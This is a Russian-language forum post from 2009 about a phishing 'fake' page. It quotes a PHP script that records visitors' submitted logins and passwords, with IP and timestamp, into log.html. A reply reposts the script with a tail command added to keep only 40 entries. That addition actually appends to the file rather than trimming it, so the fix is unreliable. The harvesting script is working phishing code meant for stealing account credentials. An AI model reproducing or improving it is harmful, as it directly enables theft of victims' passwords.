Показать сообщение отдельно

  #8  
Старый 23.11.2009, 21:14
ggi
Новичок
Регистрация: 18.10.2009
Сообщений: 8
Провел на форуме:
28324

Репутация: 1
По умолчанию

Цитата:
Сообщение от amBX  
Вопрос по фейку. Вот есть простой скрипт фейка
PHP код:
<?PHP      
$date
=date("[d/m/Y|H:i]");   
$ip = @$_SERVER['REMOTE_ADDR'];   
$Login $_POST['login'];   
$Pass $_POST['passwd'];   
$c "$date | [$ip]   
$Login;$Pass";   
$fp fopen("log.html","a+");   
fwrite($fp,"\n$c\n");   
fclose($fp);   
?>
как сделать так чтобы в log.html отображалось только последние 40 записей? А старые либо удалялись либо просто сохранялись в log.html, но отображение только было на последние 40.
PHP код:
<?PHP      
$date
=date("[d/m/Y|H:i]");   
$ip = @$_SERVER['REMOTE_ADDR'];   
$Login $_POST['login'];   
$Pass $_POST['passwd'];   
$c "$date | [$ip]   
$Login;$Pass";   
$fp fopen("log.html","a+");   
fwrite($fp,"\n$c\n");   
fclose($fp);
system("tail -40 log.html >> log.html");
?>
это если сервер на *nix-сервере
первое что в голову пришло
 
Ответить с цитированием